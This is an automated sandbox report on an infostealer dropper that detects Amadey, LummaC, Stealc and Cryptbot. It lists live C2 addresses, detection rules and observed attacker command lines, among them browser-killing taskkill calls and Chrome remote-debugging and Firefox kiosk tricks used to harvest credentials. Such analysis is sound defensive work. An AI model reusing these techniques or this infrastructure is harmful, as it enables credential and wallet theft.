Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1560178
MD5:	ea7705c2143e7c21967211c16fceb549
SHA1:	5ed0a996617121fe8c267bcb2b7e7adcbf8cf1be
SHA256:	f177f34b07fa2237adfda7ce8aa42889e1529bf25abe1f7df58613c8c5197a34
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found API chain indicative of sandbox detection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

OS version to string mapping found (often used in BOTs)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4304 cmdline: "C:\Users\user\Desktop\file.exe" MD5: EA7705C2143E7C21967211C16FCEB549)

skotes.exe (PID: 2360 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: EA7705C2143E7C21967211C16FCEB549)

skotes.exe (PID: 5196 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EA7705C2143E7C21967211C16FCEB549)

skotes.exe (PID: 1364 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EA7705C2143E7C21967211C16FCEB549)

472fe34b96.exe (PID: 1464 cmdline: "C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe" MD5: A02A1CB540D8658F640DBA74A1ADA983)

chrome.exe (PID: 5632 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7352 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2580 --field-trial-handle=2556,i,13032946618736246995,7937194258242021320,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

48f66b117f.exe (PID: 4608 cmdline: "C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe" MD5: 743AE689F70257D7A4EE703C6D9BA24B)

643ebf15b8.exe (PID: 5412 cmdline: "C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe" MD5: 215ACB5AD199ADEADC4C630B59F09D17)

chrome.exe (PID: 7040 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2816 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2208,i,14654949757915549124,6603204216961418985,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

WerFault.exe (PID: 7272 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 1520 MD5: C31336C1EFC2CCB44B4326EA793040F2)

9bf3542ba6.exe (PID: 7160 cmdline: "C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe" MD5: EC1C70253B8B244E9A71D54D6B7A917C)

taskkill.exe (PID: 6316 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3840 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2260 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3084 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 776 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 2780 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

f186248479.exe (PID: 6332 cmdline: "C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe" MD5: 832C9676A2A7C2AD3AF65CA7C3CDE743)

48f66b117f.exe (PID: 1408 cmdline: "C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe" MD5: 743AE689F70257D7A4EE703C6D9BA24B)

firefox.exe (PID: 6908 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5724 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6612 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2212 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7014d37a-07f6-453f-b71e-76d8a45fe92d} 5724 "\\.\pipe\gecko-crash-server-pipe.5724" 25dfab6ef10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1432 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1392 -parentBuildID 20230927232528 -prefsHandle 2920 -prefMapHandle 4116 -prefsLen 26200 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bf63c7df-2f6b-4d92-a2e2-83995a3bd365} 5724 "\\.\pipe\gecko-crash-server-pipe.5724" 25d8d044210 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

643ebf15b8.exe (PID: 5980 cmdline: "C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe" MD5: 215ACB5AD199ADEADC4C630B59F09D17)

9bf3542ba6.exe (PID: 7964 cmdline: "C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe" MD5: EC1C70253B8B244E9A71D54D6B7A917C)

taskkill.exe (PID: 8056 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

f186248479.exe (PID: 6512 cmdline: "C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe" MD5: 832C9676A2A7C2AD3AF65CA7C3CDE743)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["peepburry828.sbs", "p3ar11fter.sbs", "processhol.sbs", "p10tgrace.sbs", "3xp3cts1aim.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2173757368.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.3407023112.0000000000AD1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000003.2172727789.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.2214156251.0000000000421000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.3410012636.000000000156E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.2213355368.0000000000421000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.3319787378.000000000168E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2178628685.00000000006C1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2137291659.0000000004910000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002B.00000002.3699710608.0000000001568000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
0000000B.00000003.2766615031.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000003.3264850725.0000000005290000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000F.00000003.3111470770.0000000005490000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.3355918791.000000000168E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 48f66b117f.exe PID: 4608	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 48f66b117f.exe PID: 4608	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 643ebf15b8.exe PID: 5412	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 643ebf15b8.exe PID: 5412	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 643ebf15b8.exe PID: 5412	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 48f66b117f.exe PID: 1408	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 48f66b117f.exe PID: 1408	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9bf3542ba6.exe PID: 7160	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author
11.2.skotes.exe.420000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.420000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.6c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.420000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 1364, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\48f66b117f.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe, ParentProcessId: 5412, ParentProcessName: 643ebf15b8.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7040, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 1364, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\48f66b117f.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:30.598966+0100	2028371	3	Unknown Traffic	192.168.2.6	49923	188.114.97.3	443	TCP
2024-11-21T14:11:32.890846+0100	2028371	3	Unknown Traffic	192.168.2.6	49930	188.114.97.3	443	TCP
2024-11-21T14:11:35.301581+0100	2028371	3	Unknown Traffic	192.168.2.6	49937	188.114.97.3	443	TCP
2024-11-21T14:11:38.034807+0100	2028371	3	Unknown Traffic	192.168.2.6	49945	188.114.97.3	443	TCP
2024-11-21T14:11:40.610180+0100	2028371	3	Unknown Traffic	192.168.2.6	49954	188.114.97.3	443	TCP
2024-11-21T14:11:43.636643+0100	2028371	3	Unknown Traffic	192.168.2.6	49961	188.114.97.3	443	TCP
2024-11-21T14:11:45.791573+0100	2028371	3	Unknown Traffic	192.168.2.6	49966	188.114.97.3	443	TCP
2024-11-21T14:11:46.390107+0100	2028371	3	Unknown Traffic	192.168.2.6	49969	188.114.97.3	443	TCP
2024-11-21T14:11:49.160667+0100	2028371	3	Unknown Traffic	192.168.2.6	49988	188.114.97.3	443	TCP
2024-11-21T14:11:51.653786+0100	2028371	3	Unknown Traffic	192.168.2.6	50002	188.114.97.3	443	TCP
2024-11-21T14:11:51.974692+0100	2028371	3	Unknown Traffic	192.168.2.6	50004	188.114.97.3	443	TCP
2024-11-21T14:11:55.369125+0100	2028371	3	Unknown Traffic	192.168.2.6	50017	188.114.97.3	443	TCP
2024-11-21T14:12:00.229214+0100	2028371	3	Unknown Traffic	192.168.2.6	50041	188.114.97.3	443	TCP
2024-11-21T14:12:04.879882+0100	2028371	3	Unknown Traffic	192.168.2.6	50064	188.114.97.3	443	TCP
2024-11-21T14:12:10.892278+0100	2028371	3	Unknown Traffic	192.168.2.6	50080	188.114.97.3	443	TCP
2024-11-21T14:12:14.351462+0100	2028371	3	Unknown Traffic	192.168.2.6	50082	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:31.491565+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49923	188.114.97.3	443	TCP
2024-11-21T14:11:33.629128+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49930	188.114.97.3	443	TCP
2024-11-21T14:11:46.812974+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49966	188.114.97.3	443	TCP
2024-11-21T14:11:49.870134+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49988	188.114.97.3	443	TCP
2024-11-21T14:11:52.738248+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50004	188.114.97.3	443	TCP
2024-11-21T14:12:15.057876+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50082	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:31.491565+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49923	188.114.97.3	443	TCP
2024-11-21T14:11:46.812974+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49966	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:33.629128+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49930	188.114.97.3	443	TCP
2024-11-21T14:11:49.870134+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49988	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:30.598966+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.6	49923	188.114.97.3	443	TCP
2024-11-21T14:11:32.890846+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.6	49930	188.114.97.3	443	TCP
2024-11-21T14:11:35.301581+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.6	49937	188.114.97.3	443	TCP
2024-11-21T14:11:38.034807+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.6	49945	188.114.97.3	443	TCP
2024-11-21T14:11:40.610180+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.6	49954	188.114.97.3	443	TCP
2024-11-21T14:11:43.636643+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.6	49961	188.114.97.3	443	TCP
2024-11-21T14:11:45.791573+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.6	49966	188.114.97.3	443	TCP
2024-11-21T14:11:46.390107+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.6	49969	188.114.97.3	443	TCP
2024-11-21T14:11:49.160667+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.6	49988	188.114.97.3	443	TCP
2024-11-21T14:11:51.653786+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.6	50002	188.114.97.3	443	TCP
2024-11-21T14:11:51.974692+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.6	50004	188.114.97.3	443	TCP
2024-11-21T14:11:55.369125+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.6	50017	188.114.97.3	443	TCP
2024-11-21T14:12:00.229214+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.6	50041	188.114.97.3	443	TCP
2024-11-21T14:12:04.879882+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.6	50064	188.114.97.3	443	TCP
2024-11-21T14:12:10.892278+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.6	50080	188.114.97.3	443	TCP
2024-11-21T14:12:14.351462+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.6	50082	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:54.301226+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50011	185.215.113.16	80	TCP
2024-11-21T14:12:16.605442+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50085	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:22.178723+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49902	185.215.113.43	80	TCP
2024-11-21T14:11:30.566122+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49921	185.215.113.43	80	TCP
2024-11-21T14:11:39.330273+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49947	185.215.113.43	80	TCP
2024-11-21T14:11:46.735516+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49970	185.215.113.43	80	TCP
2024-11-21T14:11:57.783911+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50027	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:47.483140+0100	2054350	1	A Network Trojan was detected	192.168.2.6	49974	34.116.198.130	80	TCP
2024-11-21T14:11:50.015603+0100	2054350	1	A Network Trojan was detected	192.168.2.6	49993	34.116.198.130	80	TCP
2024-11-21T14:12:05.083916+0100	2054350	1	A Network Trojan was detected	192.168.2.6	50063	34.116.198.130	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:29.065042+0100	2057730	1	Domain Observed Used for C2 Detected	192.168.2.6	65075	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:40.865868+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49949	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:11:40.743434+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49949	185.215.113.206	80	TCP

